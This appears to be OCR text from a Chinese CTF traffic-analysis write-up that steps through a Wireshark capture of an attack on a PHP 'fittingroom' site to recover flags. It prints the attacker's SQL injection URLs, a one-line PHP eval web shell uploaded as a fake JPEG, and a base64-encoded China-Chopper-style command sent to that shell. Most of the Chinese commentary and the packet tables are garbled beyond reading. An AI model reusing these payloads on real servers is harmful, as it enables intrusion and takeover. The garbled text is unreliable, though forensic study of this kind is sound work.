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B UESFHHTTPHEEBERE

M attack.pcapng
) wmEE) ME(V) BERG) #8ERO) ﬁi‘iﬁ{A} ﬁ&‘ﬁ‘l’(S) EIEY) o
Open Ctrl+0 = 4§ _ @ Q §
Open Recent v
SFHM)... Destination
M. Hex FEEEM)... 101 172.16.1.11
Close Ctrl+W 102 172.16.1.1¢
{F55(S) Ctrl+S 182 172.16.1.11
BEAA)... Ctrl+Shift+s 101 172.16.1.1
HES 182 172.16.1.1¢
HE 3
=
182 172.16.1.1¢
o
SHESE.. 181 172.16.1.11
==
EHOEBITSR v o102 172.16.1. 11
S5 EZFTER(B). Ctrl+Shift+X  |1@1 172.16.1.11
EH PDU 304 101 172.16.1.11
B TLS ==, 192 172.16.1. 1
Sl 4 DICOM... 172.16.1.11
HTTP... {
FTED(P)... Ctrl+P 172.16.1.1
IMF... 172.16.1.1¢
+
L e SMB... 172.16.1. 1
2940 360.229338 172.16.1 TFTP... 172.16.1.1¢
2941 366.229511 172.16.1.162 172.16.1.1¢
2942 360.229868 172.16.1.162 172.16.1.1¢
2943 360, 229885 172.16.1.161 CSDIN @ AR 998 10
‘ attack -'--\-:"-I: F
P SR B MEE(G) - Loy ey T <ngh 2 5E
ANZ0® 1 TR QesETsEqaarn =)
MEAET T As ~ Ctl-/> =)+ H';ﬁ
Ho. Tine Source Destination Pro|
Wireshark - St - HTTP 335 - O %
2924 358.734988  172.16.1.101 172.16.1.10 HTT M Wireshark- Bt L
2925 358.735127  172.16.1.101 172.16.1.10, TCH soktEs: | | Content Type: [A11 Gontant=Types ¥
2926 358.735457  172.16.1.162 172.16.1.101 TCH
2927 358.738388  172.16.1.102 172.16.1.101 TcR FE EE mERE S s .
2928 358.738416  172.16.1.161 172.16.1.102 TCH |2906 172.16.1.101 text/html 635 bytes index.php?id=1523
3020 358765578 172.16.1.162 172.16.1.401 Wl (2915 172.16.1.101 text/html 635 bytes index.php?id=5553
awnse o seiae O\ vaaafn | T S seer e 1o e e T
zLED 358';;4982 1;2‘16'1'191 e s ICF 2939 172.16.1.101 text/ht 725 bytes ﬁ% Zigl= 12629%20AND%z
PRRR SEITERES LI o e Ch 12951 172.16.1.101 text/ht 725 bytes Jidb HE20%20AND %z
2933 358.776968  172.16.1.161 172.16.%.102 HT1 12960 172.16.1.101 text/htm 635 bytes index.php?id=1%20AND%2077
2934 358.777167 172.16.1.101 172.16.01.162 TCH 2969 172.16.1.101 text/html 736 bytes index.php?id=1%20AND%2077
2935 358.777344 172.16.1.102 172.16.1.101 TCR 2978 172.16.1.101 text/html 635 bytes  index.php?id=1%20AND%2014
2936 358.777931  172.16.1.102 172.16.1.101 TCR 2987 172.16.1.101 text/html 856 bytes index.php?id=1%20AND%20%:z
7 358.777959 _ 172.16.1. 191 \ 172.16,1.182 2996 172.16.1.101 tex‘tfhtml 856 bytes index.php?id=1%200R%20%28
1 ?gag‘l;ﬁ Jades] 2 ifﬁ,l gﬁ%@xﬁm i}ﬁ e tml 814 bytes index.php?id=15%20AND%20EX
2939 360.229263 172.16.1. 191 172.16.1.182 3014 172.18.1. html 814 bytes index.php?id=1%200R%20EXP*
VTSI TOOSEEE)  fariarialaril TPl ety TCF 3023 172.16.1.101 text/html 583 bytes  index.php?id=1%20AND%20JS(
2941 366.229511 172.16.1.182 172.16.1.101 TCH jgi? ::;g:g::::g: :e:g::m: ::i E:_:es Iﬂ:BKp:p:l:=:$gi::;0;§:.f
16.1. & m es  index.php?id= ¥
< 2S421360-229565 MN172°1651102 172.16-1-161 TCH 3047 172.16.1.101 text/html 635 bytes _index php7id=%28SELECT%20C ,
> Frame 2924: 976 bytes on wire (7808 bits), 976 bytes captured (78 « 2
> Ethernet II, Src: RealtekU_ad:cf:b5 (52:54:0@:ad:cf:b5), Dst: Rea Save Save All Freview Help
> Internet Protocol Version 4, Src: 172.16.1.101, Dst: 172.16.1.102 -
< >
Cooo 52 54 @@ 37 31 @9 52 54 @0 ad cf b5 @8 @0 45 @@ RT-71-RT - - E- A
¢ 03 c2 @b 63 40 00 80 06 90 e7 ac 10 01 65 ac 10 ceC@err veees e CSDN @:ma’faqua

F B flagZ RER:

[172.16.1.101]




2. HiH, RAVRBBXKip/5FESUEp, HAip.addr==172.16.1.102

M attack pcapng - O X
()
. addr==172. 16.1.102 B -]+
No. Tine Source Destination Protocol Length Info ~
2759 92.995474 172.16.1.102 172.16.1.255 NBNS 92 Name query NB TEST-PC<20> =
2761 157.753784 172.16.1.102 172.16.1.255 BROWSER 243 Host Announcement NEO-2A7513E9E82, Workstation, NT Workstation, Potent
2762 158.212713 172.16.1.102 224.0.0.22 IGMPV3 60 Membership Report / Leave group 239.255.255.250
2763 158.219422 172.16.1.102 172.16.1.255 NBNS 110 Release NB NEO-2A7513E9E82<20>
2764 158.249508 172.16.1.102 172.16.1.255 NBNS 110 Release NB WORKGROUP<1e> :
2765 158.249806 172.16.1.102 172.16.1.255 NBNS 110 Release NB WORKGROUP<@®@>
2766 158.250064 172.16.1.102 172.16.1.255 NBNS 110 Release NB NEO-2A7513E9ES2<00>
2767 159.103991 172.16.1.102 224.0.0.22 IGMPvV3 60 Membership Report / Leave group 239.255.255.250
2772 186.838792 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9ES82<00>
2773 187.588379 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9E82<00>
2774 188.348441 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9ES82<00>
2775 189.088391 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9E82<00>
2776 189.917167 172.16.1.102 172.16.1.255 NBNS 110 Registration NB WORKGROUP<®@>
2777 190.666607 172.16.1.102 172.16.1.255 NBNS 110 Registration NB WORKGROUP<@@>
2778 191.416384 172.16.1.102 172.16.1.255 NBNS 110 Registration NB WORKGROUP<®@>
2779 192.166505 172.16.1.102 172.16.1.255 NBNS 110 Registration NB WORKGROUP<@@> ﬂ
2780 193.136701 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9E82<20>
2781 193.885515 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9E82<20>
2782 194.635149 172.16.1.102 172.16.1.255 NBNS 110 Registration NB NEO-2A7513E9E82<20@> v
< >
> Frame 2922: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface \Device\NPF_{©04D5DAC-B6D4-4FB4-BASA-5362C90FC543}, id @ -~
> Ethernet II, Src: RealtekU_ ad:cf:b5 (52:54:0@:ad:cf:b5), Dst: RealtekU 37:31:09 (52:54:00:37:31:09)
> Internet Protocol version 4, Src: 172.16.1.101, Dst: 172.16.1.102
- Transmission Control Protocol, Src Port: 8@, Dst Port: 1049, Seq: ©, Ack: 1, Len: @ v
0000 52 54 90 37 31 @9 52 54 @0 ad cf b5 @8 @0 45 e RT-71-RT -~ E- ~
0010 ©0 30 6b 4e 00 90 80 06 d4 8e ac 10 @1 65 ac 10 B e-- v
O 7 attack. peapng | 54A: s874 - 2EF: 1008 (26. 0% 50| B el

TR RIVREFRER D A#AER, BEEELI7TSRAEMEK, RATEFRXLME, HEFEag, FrLlsE —Hifag
A[21,23,80,445,3389,5007]

M attack.pcapng - m] X
EHE(Y) B
- Qe
(A ]ip. addr==172. 16.1. 102 [X] -]+
No. Tine Source Destination Protocol Length Info ~
. 2791 201.011870 172.16.1.102 172.16.1.255 BROWSER 228 Request Announcement NEQ-2A7513E9E82 =
\ i 2793 201.0119608 172.16.1.102 172.16.1.255 BROWSER 243 Host Announcement NEO-2A7513E9E82, Workstation, Server, NT Workstation
2795 218.433243 172.16.1.102 172.16.1.255 BROWSER 228 Request Announcement NEO-2A7513E9ES82
2797 218.434468 172.16.1.102 172.16.1.255 NBNS Name _guery NB TEST-PC<20>
H 2803 240.019202 172.16.1.102 172.16.1.101 TCP 6 7113 80 |[SYN] Seq=0 Win=1624 Len=0 MSS=1460
i 2804 240.019221 172.16.1.101 172.16.1.102 TCP 58 80 » 37113 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=146@
2818 269.104538 172.16.1.102 172.16.1.101 TCP 62 1039 > 8@ [SYN| Seq=@ Win=65535 Len=0 MSS5=146@ SACK_PERM=1
i 2819 269.104574 172.16.1.101 172.16.1.102 TCP 62 80 » 1039 [SYN]| ACK] Seq=0 Ack=1 Win=16384 Len=0 M55=1460 SACK_PERM=1
2820 269.104739 172.16.1.102 172.16.1.101 TCP 60 1039 > 80 [ACK| Seq=1 Ack=1 Win=65535 Len=@ ﬂ
H 2822 269.155@55 172.16.1.102 172.16.1.1601 HTTP 418 GET HTTP/1.1 &
< >
> Frame 2778: 11@ bytes on wire (88@ bits), 11@ bytes captured (88e bits) on interface \Device\NPF_{@04D5DAC-B6DA-4FB4-BASA-5362C90FC543}, id @ &

> Ethernet II, Src: RealtekU_37:31:09 (52:54:00:37:31:09), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

> Internet Protocol Version 4, Src: 172.16.1.1082, Dst: 172.16.1.255

> User Datagram Protocol, Src Port: 137, Dst Port: 137

> NetBIOS Mame Service hd

eeee ff ff ff ff ff ff 52 54 @6 37 31 @9 @8 0@ 45 @0
0010 00 60 00 07 0@ @@ 80 11 df @e ac 10 @1 66 ac 10

O 7 attack. pcapng | £48: 3874 - BEF: 1000 (26,00

4B . BN BERLRBIAFP 2R ERABEHAMEERN, QERERE, BHRARENSE, FHNMpLAEE,
RAEEFloginiERK, REBEESBEZEIEFRE, RKAFHIE, N3747XFREH#ITTCPER, XHEEETHF A/
i,

2 = #iflagfF /& [Lancelot]

ZE Y HiflagfF /2 [12369874]



Am 1@ RE ] e«

N FATTTEE - Ctrl-/>

No. Tine Source Destination Protocol Length Info

3725 406.513099 172.16.1.101 172.16.1.102 54 88 » 1134 [ACK] Seq=1432 Ack=445 Win=65892 Len=0
3726 435.902504 172.16.1.1
3727 435.902627
3728 435.902702

- () X

3729 442.986155 172.16.1.101 62 1138 AR ‘ ‘Content Type: |11 Content—Types v
3730 442.986199 172.16.1.102 62 80 = =
60 1138 |AE EWH RESE H s ~
3721 172.16.1.101 text/html 1211 bytes index.php?id=1%20UNION _
3733 442.986919  172.16 172.16.1.101 284 GET | (3735 172.16.1.101 text/html 1332 bytes login.php
3734 442.987721 172.16.1.101 172.16.1.102 1514 80 4 3745 172.16.1.101 application/x-www-form-urlencoded 48 bytes lo PDU]
3735 442.987875  172.16.1.101 172.16.1.102 182 w7y ISR ] 481Dyt
3736 442.988121  172.16.1.102 172.16.1.101 60 1135 |70 172161101 text/him| 418 bytes “upioad php
b 3768 172.16.1.101 multipart/form-data 321 bytes upload.php
3737 448.509898 172.16.1.101 172.16.1.102 54/80 4 2769 172.16.1.101 text/html 449 bytes upload.php
SR ABSIEAE  172:1E:1-1E2 /A3 1- 161 3778 172.16.1.101 application/x-www-form-urlencoded 690 bytes Q.php
3730 448.510467  172.16.1.102 172.16.1.101 3779 172.16.1.101 text/html 158 bytes Q.php
3740 448.510509 172.16.1.101 172.16.1.102 3789 172.16.1.101 application/x-www-form-urlencoded 770 bytes Q.php
3741 450.968209 172.16.1.102 172.16.1.101 3791 172.16.1.101 text/html 139 bytes Q.php
3742 450.968256 172.16.1.101 172.16.1.102 3800 172.16.1.101 application/x-www-form-urlencoded 508 bytes Q.php
3743 450.968516 172.16 172.16.1.101 3801 172.16.1.101 text/html 180 bytes Q.php
172.16.1.101 3 Y. 3816 172.16.1.101 text/html 736 bytes \ _
3745 450. 968863 172.16.1.102 172.16.1.101 3821 172.16.1.101 text/html 736 bytes index.php?id=1
3746 450.979491  172.16.1.101 172.16.1.102 3824 172.16.1.101 text/htmi 734 bytes PDU]
3827 172.16.1.101 text/html 737 bytes
3747 450.979562 172.16.1.101 172.16.1.102 7 5 ‘
3748 450.979814 172.16.1.102 172.16.1.101
3749 454.700848 172.16.1.102 172.16.1.101 Save Save 411 Preview Close Help
3750 454.701452 172.16.1.101 172.16.1.102 727 HTTPy 11 200 UK (Lext/umy
3751 454.867447 172.16.1.102 172.16.1.101 60 1139 > 80 [ACK] Seq=942 Ack=2303 Win=64862 Len=0 =
3752 460.114562 172.16.1.102 172.16.1.101 60 1139 > 80 [FIN, ACK] Seq=942 Ack=2303 Win=64862 Len=0
< >
Frame 3747: 223 bytes on wire (1784 bits), 223 bytes captured (1784 bits) on interface \Device\NPF_{@@4D5DAC-B6DA-AFBA-BASA-5362C90FC543}, id @
Ethernet II, Src: Realteku ad:cf:bs (52:54:@@:ad:cf:bs5), Dst: RealtekU 37:31:@9 (52:54:00:37:31:09)
Internet Protocol version 4, Src: 172.16.1.101, Dst: 172.16.1.102
Transmission Control Protocol, src port: 8e, Dst Port: 1139, Seq: 1461, Ack: 556, Len: 169
[2 Reassembled TCP Segments (1629 bytes): #3746(1460), #3747(169)]
Hvpertext Transfer Protocol
52 54 @@ 37 31 @9 52 54 @0 ad cf b5 es ee 45 ee RT 71'RT E
o0 d1 15 47 40 @0 80 ©6 89 f4 ac 16 @1 65 ac 1@ G@ e
Frame (223 bytes)  Reassembled TCP (1629 bytes)
O 7 attack.pcapng S34: 3874 - BRI 3874 (100. 0K ot
pcapng - X
AmJ® RE Qe=2EF S Q& &I | 4 wireshark tcp eq 1204 - O X
(N [topsstrean eq 1204 | I B <)+
Ho. Tine Source Destination POST /fittingroom/login.php HTTP/1.1 ~
3741 450.968209  172.16.1.182 172.16.1.101 | |Host: 172.16.1.101 1@ SACK_PERM=1
3742 450.968256  172.16.1.101 172.16.1.102 | |User-Agent: Mozilla/5.8 (Windows NT 5.1; rv:49.8) Gecko/20100101 in=8 MSS=146@ SACK_PERM=1
3743 450.968516 172.16.1.101 | |Firefox/49.e
- Accept: text/html,application/xhtml+xml,application/xml;q=@.9,*%/
= *,9=0.8
3745 450.968863 172.16.1.102 172.16.1.101 Aé?ept—Language: Zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 ation/x-www-form-urlencoded)
3746 450.979491 172.16.1.101 172.16.1.102 Accept-Encoding: gzip, deflate 460 [TCP segment of a reassembled PDU]
ST SRS 72U -z A2 A2 2 ‘ Referer: http://172.16.1.101/fittingroom/login.php |
3748 450.979814 172.16.1.102 172.16.1.101 DNT: 1 in=a
3749 454.700848 172.16.1.102 172.16.1.1@1 | |x-Forwarded-For: 8.8.8.8
3750 454.701452 172.16.1.101 172.16.1.102 Connection: keep-alive
3751 454.867447 172.16.1.102 172.16.1.101 Upgrade-Insecure-Requests: 1 n=0
3752 460.114562  172.16.1.102 172.16.1.101 | |Content-Type: application/x-www-form-urlencoded 162 Len=6
3753 460.114625  172.16.1.101 172.16.1.102 | |Content-Length: 43 in=0
3754 460.114807 172.16.1.101 172.16.1.102 . . 194 Len=0
3755 460.115221 172.16.1.102 172.16.1.101 user‘namepasswor‘subm1t=L0g1nHTTP/1<1 200 0K n=o
Date: Morr;—98—0 2018 20.T67 g
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
refresh: 3;url=./upload.php
Content-Length: 1344
Keep-Alive: timeout=5, max=10@
Connection: Keep-Alive
Content-Type: text/html; charset=utf8
...<html lang="en">
<|--password.txt-->
<head>
<meta http-equiv="content-Type" content="text/html;
charset=gb2312">
<title>Identification</title>
g | <link rel="stylesheet" type="text/css" href="./css/ |
Frame 3747: 223 bytes on wire (1784 bits), 223 bytes cap llorin.css" / ¥ dFcs43}, id @
Ethernet I, Src: RealtekU ad:cf:b5 (52:54:00:ad:cf:bs), £ %74 #4. 3 BAM HL. 3 sun(s)
Internet Protocol Version 4, Src: 172.16.1.101, Dst: 173 \ETAE (3243 bytes) | Shor data as ASCII > g
Transmission Control Protocol, Src Port: 80, Dst Port: 1 & | ‘ EHT— W
[2 Reassembled TCP Segments (1629 bytes): #3746(1460), 4
EEILE TED FiEh &= Close Help I
52 54 @@ 37 31 09 52 54 0@ ad cf b5 08 00 45 @@ RT 7I*RT <<+ E-
o0 d1 15 47 40 00 80 06 89 f4 ac 10 @1 65 ac 1@ G@ e
Frams (223 bytes)  Reassembled TCP (1629 bytes)
O 7 attack.peapne £4: 3874 - BT 15 (0.40) oL

5. BRBMERARLEN, FFKEE, BB, 48—, RILhtpFEARDAELEupload L& R, RATUFEIHEN
upload.php




® R @
(N EZAE T T ER - Cul-/> <)+
No. Tine Source Destination Protocol Length Info ~
3742 450.968256 172.16.1.101 172.16.1.102 TCP 62 88 > 1139 [SYN, ACK] Seq=08 Ack=1 Win=16384 Len=0 MSS=146@ SACK_PERM=1
172.16.1.102 172.16.1.101

3743 450.968516

M Wireshark - S8 - HTTP 37

[m]

 —

3745 450.968863  172.16.1.102 172.16.1.101 HTTP TATRES: | | content Type: [TIEETETE—
3746 450.979491  172.16.1.101 172.16.1.102 Tcp - U]
3747 450.979562  172.16.1.161 172.16.1.102 HTTP £ S prEl K Rt "
g R340 . 3721 172.16.1.101 text/html 1211 bytes indexphp?id=1%20UNION
3740 454.700848  172.16.1.102 172.16.1.101 HTTP :;iz 1;21 z'] 1 gl te"‘{,""“'_" y . | . lngz bytes :"gf"'p:p
116.1.101 application/x-www-form-urlenco es  login,
3750 454.701452  172.16.1.101 172.16.1.102 HTTP S e 1e1 101 tI::uhtml SMVIMES Iogi"_EhS
3751 454.867447  172.16.1.102 172.16.1.101 Tcp 3750 172.16.1.101 text/html bytes upload.php
3752 460.114562  172.16.1.102 172.16.1.101 Tce 3768 172.16.1.101 multipart/form-data es upload.php
3753 460.114625  172.16.1.101 172.16.1.102 Tcp 3769 172161101 text/html 449 byt upToadhp |
3754 460.114807 172.16.1.101 172.16.1.102 TCP 3778 172.16.1.101 application/x-www-form-urlencoded 690 bytes Q.php
3755 460.115221  172.16.1.102 172.16.1.101 Tcp 3779 172.16.1.101 text/html 158 bytes Quphp
3756 490.363913  172.16.1.102 172.16.1.255 BROWSE 3789 172.16.1.101 application/x-www-form-urlencoded 770 bytes  Q.php Browser, Backup
3757 556.605403 RealtekU_ad:cf:b5 Broadcast ARP 3791 172.16.1.101 text/html 139 bytes  Q.php
3758 556.614139  SuperMic_98:6b:9d  RealtekU_ad:cf:b5 60 172.1¢ (3800 172.16.1.101 application/x-www-form-urlencoded 508 bytes  Q.php
3759 556.614151  172.16.1.101 172.16.1.1 356 DHCP R |3801 172.16.1.101 text/html 180 bytes Q.php
3760 556808170 172.16.1.1 172.16.1.101 342 DHcp A (3816 172.16.1.101 text/html 736 bytes \
3761 561.807622  SuperMic 98:6b:9d  RealtekU ad:cf:bs 60 Who hy |2521 172161101 text/html 736 bytes
) 3824 172.16.1.101 text/html 734 bytes
3762 561.807057 RealtekU_ad:cf:b5 SuperMic_98:6b:9d 42172.16 |5557 175 161101 texct/html 737 bytes .
- 3763592.787500  172.16.1.102 172.16.1.101 Tcp 621146 4 |, 5
| 3764 592.787637 RealtekU_ad:cf:b5 Broadcast ARP 42 who h
| 3765502.788303  RealtekU_37:31:09  RealtekU_ad:cf:b! ARP 60 172.1 S Savel AU NS @Eloss Bl
3766 502.788325  172.16.1.101 172.16.1.102 Tcp 6280 > B = = =
3767 502.788486  172.16.1.102 172.16.1.101 Tcp 60 1146 > 89 [ACK] Seq=1 Ack=1 Win=65535 Len=e —
3768 502.788691  172.16.1.102 172.16.1.101 HTTP 024 POST /fittingroom/upload.php HTTP/1.1 (image/jpeg) =
MH 172.16.1.101 172.16.1.102 HTTP 759 HTTP/1.1 200 OK (text/html) | v

Hypertext Transfer Protocol

Frame 3769: 759 bytes on wire (6072 bits), 759 bytes captured
Ethernet II, Src: Realteku ad:cf:bs (52:54:@@:ad:cf:bs), Dst:
Internet Protocol version 4, Src: 172.16.1.101, Dst: 172.16.1.102

Transmission Control Protocol, src port: 8e, Dst Port: 1146, Seq: 1, Ack: 871, Len:

Realteku_37:31:09 (52:54:00:37:31:09)

705

(6072 bits) on interface \Device\NPF_{@@4D5DAC-B6DA-4FB4-BASA-5362C90FC543}, id @

01 66 00 50 04 7a 43 b5 26 ba 6e 55 a3 83 50 18

Line-based text data: text/html (17 lines)
52 54 @@ 37 31 @9 52 54 @o ad cf b5 es ee 45 ee RT*71:RT =+ E*
02 e9 15 Af 40 00 80 ©6 87 d4 ac 16 @1 65 ac 1@ O e

~f-pP-zC- &nU--P-

attack. pcapng

|| #4: 3874 -

v
BB 3674 (100. 08 T BEdi

—HERERE, BETCPRAEIARLEN, flagEf [alpha]

- %
G) MWEC) SH(A TAT H
CelC) Q &= s
N tep. strean eqg 1205 [ ! BE3 -]+
n N " n eq 1205) - attack.pcapng - a X
Fo. Tine Source Destination J
3763 592.787590  172.16.1.102 172.16.1.101 o o BT ~| © SACK_PERM=1
3766 502.788325  172.16.1.101 172.16.1.102 e (oD : n=0 MSS=1460 SACK_PERM=1
3767 592.788486  172.16.1.102 172.16.1.101 |05t 172.16.1.101 B
. o o User-Agent: Mozilla/5.@ (Windows NT 5.1; rv:i49.e) Gecko/2elee1el )
3768 592.788691  172.16.1.102 172.16.1.181 | |firefox/49.0 /ipeg)
3769 592.789819  172.16.1.101 172.16.1.102 | accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/
3770 592.801429  172.16.1.102 172.16.1.101 | |*;9-0.8 0 Len=0
3771592.801459  172.16.1.101 172.16.1.102 | |Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 =
3772 592.801530 172.16.1.101 172.16.1.102 Accept-Encoding: gzip, deflate 5 Len=0
3773592.801790  172.16.1.102 172.16.1.101 | |Referer: http://172.16.1.1@1/fittingroom/upload.php =6

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=----------------- - 108152907026582
Content-Length: 321

————————————————————————————— 108152907026582
Content-Disposition: form-data; name="file"; filename="Q.php"
Content-Type: image/jpeg

<?php @eval($ POST[ ']);?) l
- 26582

Frame 3769: 759 bytes on wire (6072 bits), 759 bytes cap
Ethernet IT, Src: RealtekU ad:cf:b5 (52:54:00:ad:cf:b5),
Internet Protocol Version 4, Src: 172.16.1.101, Dst: 172
Transmission Control Protocol, Src Port: 80, Dst Port: 1

Content-Disposition: form-data; name="submit"

77777777777777777777777777777 108152907026582 -~
HTTP/1.1 260 OK

Date: Mon, @8 Oct 2018 20:18:49 GMT

server: Apache/2.4.23 (Win32) OpenSSL/1.0.2J PHP/5.4.45
X-Powered-By: PHP/5.4.45

Content-Length: 449

Keep-Alive: timeout=5, max=10@

Connection: Keen-Alive

FC543}, id 0

1 EAW AL 1 BEE AL, 1 rarn(z).

02 e9 15 Af 40 00 80 ©6 87 d4 ac 16 @1 65 ac 1@
01 66 00 50 04 7a 43 b5 26 ba 6e 55 a3 83 50 18

~f-P-zC- &nU--P-

B-x1iE (1575 bytes? ~| Show data as [4SCIT ~| 3
Hypertext Transfer Protocol I
Line-based text data: text/html (17 lines) | | lE#T—r
52 54 @@ 37 31 09 52 54 @@ ad cf b5 eg @0 45 @@ R EElE TE0 e E@ Close Help

attack. pcapng

|| #4: 3874 -

v
EET: 9 0.2 CODI R el

6. BUHBETHMCMHBFUKESR, WTH RGN, ERXRESHFZEMTHERORA, XLROTEEFES
%, FAXMBEEERKBRELN, FUUSHKAag @ ERTHEKEMZ B8, BT ARKIFE EhttpF upload F+ 1 47 TCP
WiBE, REXRMIBEEET, 7€ LHEidiEittcp.stream eq 1205 43 5 #4738 3 AT KB TCPEEE (MMREBEE —&BJ5HE L
WME) , KIltcp.streameq 1207 F M, FElflagzpfhiit RERT, @15 2flagi[flag.zip]



B3 -+
No. Tine Source Destination
3785 633.14243" 172.16.1.102 172.16.1.101 | & wire . : apng - O b SACK_PERM=1
3786 633.142477 172.16.1.101 172.16.1.102 =0 M55=146@ SACK_PERM=1
3787 633.142649 172.16.1.101 POST /fittingroom/upload/Q.php HTTP/1.1 ~
3788 633.142837 172.16.1.101 cache-control: no-cache =303 [TCP segment of a reassembled PDU]
3789 633.142849 172.16.1.101 X-Forwarded-For: 101.159.98.98 lication/x-www-form-urlencoded)
3790 633.142866 172.16.1.102 Referer: http://172.16.1.101
3791 633.144641 172.16.1.102 Content-Type: application/x-www-form-urlencoded
3792 633.144811 172.16.1.102 User-Agent: Mozilla/4.@ (compatible; MSIE 6.8; Windows NT 5.1) 62 Len=0
3793 633.144041 TRAGAAE | PO T iBall-ied] -0
3794 633.145052 172.16.1.101 | |COTent-Length: 770 92 Len=o
Connection: Close
3795 633.145070 172.16.1.102 =0
alpha=%4eeval%e1%28base6a decode%28%24 POST%SBZz0%5D%29%29%3B&z60=0G1u
aVv9zZXQoImRpc3BsYX1fZXIyb31zIiwiMCIpOOBzZXRfdG1tZVIsaWlpdCgwKTtAC2Ve
X21hZ21jX3F1b3R1c19ydW50alW11KDAP02VjaG80Iie%2BfCIp0zskRD1IYXNINJRFZG
Vjb2R1KCRFUEOTVFsiejEiXSk7IEYOQGOWZIWSkaXI0IEQPO21MKCRGPT10VUXMKXE1Y2
hvKCIFULIPUjovLyBQYXRoIESvACBGb3VuZCBPciBObyBQZXJtaXNzaWSuISIp0311bH
N1leyRNPUSVTEWZJEwOTIVMTDt3aGlsZzSgkTj1AcmvhZGRpeigkRikpeyRQPSRELIIVIL
4kTjskVD1AZGFOZSEiWS1tLNQESDppOnMiLEBmalix1bXRpbWUoIFAPKTEATEU9C3Vic3
RyKGJIhc2vfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCwAK SwENCk7IFI911x0TidkVC
41XHQiLkBmawx1c216ZSgkuCkuIlx@Ti4kRS4iCiI7aWYoQGlzX2RpcigkUCkpIEQUPS
ROLiTvIiakujt1bHNIICRMLjOkTiakujtozwNobyAkTSakTDtAY2xvc2VkaXIoJEYPO3
07ZWNobygi fDwt 1ik77G11KCk7&z1=QzpcXHBoCcFNBdWRSXFXXV1dcXGZpdHRpbmdyb2
9EXFXLCGXVYWRCXA%3D%3DHTTP/1.1 200 OK
Date: Mon, @8 Oct 2018 20:19:3@ GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 139
Connection: close
Content-Type: text/html
< >
= = N |->|./ 2018-10-08 26:18:49 0 0777 =
Frame 3785: 62 bytes on wire (496 bits), 62 bytes captu‘ ; LT QSR = . 3}, id @
Ethernet II, Src: Realteku 37:31:09 (52:54:60:37:31:69),. flag.zip 2017-19-09 04:12:00 174 0666 I
Internet protocol version 4, Src: 172.16.1.102, Dst: 172 5 5hp™ 7018-16-68 26:18:49 31 9666
Transmission Control Protocol, Src Port: 1148, Dst Portl l¢- v I
2 BAN AH, 1 BEE AL, 1 vanls)
- [EARHE (1416 bytes) | Show data as ASCII !
52 54 @@ ad cf b5 52 54 e 37 31 @9 eg ee 45 @0 R §152;‘ 2
00 30 03 e7 40 00 80 ©6 9b 5 ac 10 @1 66 ac 1@ L
@1 65 04 7c 0@ 50 11 b3 d@ 2c 60 00 00 60 70 62 - SRR TER Bl EE ©
O 7 attack. peapng | A% 3974 - BET 11 (038 il

(HSERA — ML R Rilag, 7 4 7 T il flag Rl & Bon & T B th 2 R BB TCPA R4 R— —+)

- X
=aaag
N ]+
ORHAAS  [ENRBR v [flag | = B
No. Tine Source Destination Protocel Length Info "
3775 632.783563 172.16.1.102 172.16.1.101 TcP 621147 > 80 [SYN] Seq=0 Win=65535 Len=@ MSS=1460 SACK_PERM=1
3776 632.783600  172.16.1.101 172.16.1.102 TcP 62 80 > 1147 [SYN, ACK] Seq=@ Ack=1 Win=16384 Len=0 MSS=146@ SACK PERM=1
3777 632.783902 172.16.1.102 172.16.1.101 TcP 60 1147 > 80 [ACK] Seg=1 Ack=1 Win=65535 Len=e
3778 632.784053 172.16.1.102 172.16.1.101 HTTP 1047 PosT /fittingroom/upload/Q.php HTTP/1.1 (application/x-www-form-urlencoded)
3779 632.791854  172.16.1.101 172.16.1.102 HTTP 416 HTTP/1.1 200 OK (text/html)
3780 632.791951 172.16.1.101 172.16.1.102 TcP 54 80 > 1147 [FIN, ACK] Seq=363 Ack=994 Win=64542 Len=o
3781 632.801183 172.16.1.102 172.16.1.255 NBNS 92 Name query NB C.WWWCD.TOP<@@>
3782 632.801265 172.16.1.102 172.16.1.101 TcP 60 1147 > 80 [ACK] Seq=994 Ack=364 Win=65173 Len=@
3783 632.802620  172.16.1.102 172.16.1.101 TcP 60 1147 > 80 [FIN, ACK] Seq=994 Ack=364 Win=65173 Len=o
3784 632.802642 172.16.1.101 172.16.1.102 TcP 54 80 > 1147 [ACK] Seq=364 Ack=995 Win=64542 Len=e
3785 633.142431 172.16.1.102 172.16.1.101 TCP 621148 > 80 [SYN] Seq=0 Win=65535 Len=@ MSS=1460 SACK_PERM=1
3786 633.142477 172.16.1.101 172.16.1.102 /TCP 62 80 > 1148 [SYN, ACK] Seq=@ Ack=1 Win=16384 Len=0 MSS=146@ SACK PERM=1
3787 633.142649 172.16.1.102 172.16.1.101 TcP 60 1148 + 80 [ACK] Seg=1 Ack=1 Win-65535 Len-@
3788 633.142837 172.16.1.102 172.16.1.101 TcP 357 1148 » 80 [PSH, ACK] Seq=1 Ack=1 Win=65535 Len=303 [TCP segment of a reassembled PDU]
3789 633.142849 172.16.1.102 172.16.1.101 HTTP 824 POST /fittingroom/upload/Q.php HTTP/1.1 (application/x-www-form-urlencoded)
3790 633.142866 172.16.1.101 172.16.1.102 TCP 54 80 > 1148 [ACK] Seq=1 Ack=1074 Win-64462 Len-o
3791 633.144641 172.16.1.101 172.16.1.102 HTTP 397 HTTP/1.1 200 OK (text/html)
